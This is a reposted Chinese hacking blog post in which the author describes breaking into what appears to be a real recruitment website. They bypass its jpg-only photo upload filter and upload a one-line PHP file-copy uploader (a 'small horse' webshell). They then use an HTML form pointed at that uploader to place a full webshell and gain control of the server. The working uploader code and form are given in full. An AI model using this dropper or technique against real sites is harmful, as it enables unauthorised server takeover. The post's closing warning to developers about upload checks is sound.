注册
登录
| 关键词： 致上 先传 人才网 所以 空下 文件 小马 注册 闲着 php |
作者：ReJeCt[B.C.T]来源：ReJeCt's Blog 转载请注明出处. 今天空下来在逛人才网.处于习惯问题...所以就走马观花的检测一下.程序是php的,由于本身对PHP注入也不是很吊.所以也就找了几个点大致上的试了下.似乎也没啥花头.就另寻它处了. 继续来到首页,丫.人才网都可以自己传照片上去吧?.不妨小试一下反正闲着也是闲着.注册个号看看``呦,你还别说.还真被我猜中 跳过注册过程.注册完登陆进去..上传照片."只能传jpg格式的文件"...你说只能传jpg我就相信了?我还不傻,所以还是传了个php文件上去.咦..提示文件太大.. 哈哈..那就是可以传shell. 换个小马就行咯.好..那就OK了... 先传个小马上去代码 <?php copy($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]);?> 成功了.看到是一个X看属性.地址为http://userfile.***.cn/seeker/416196/901/r3j3ct123/test.php 好咯.下面就把这htm改好ACTION.. <form ENCTYPE="multipart/form-data" ACTION="http://userfile.xxx.cn/seeker/416196/901/r3j3ct123/test.php/" METHOD="POST"> <input NAME="MyFile" TYPE="file"> <input VALUE="提交" TYPE="submit"></form> 找个大马.提交上去`成功..可爱的shell就完美的呈现在眼前了...... 后话,其实这就一个上传问题 没有啥技术含量.不,应该说是一点都没..只为了能希望这文章能提醒那些人才网程序作者.得注意些小细节.往往你忽略的地方.就是别人下手的地方.. |
|
声明：文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|
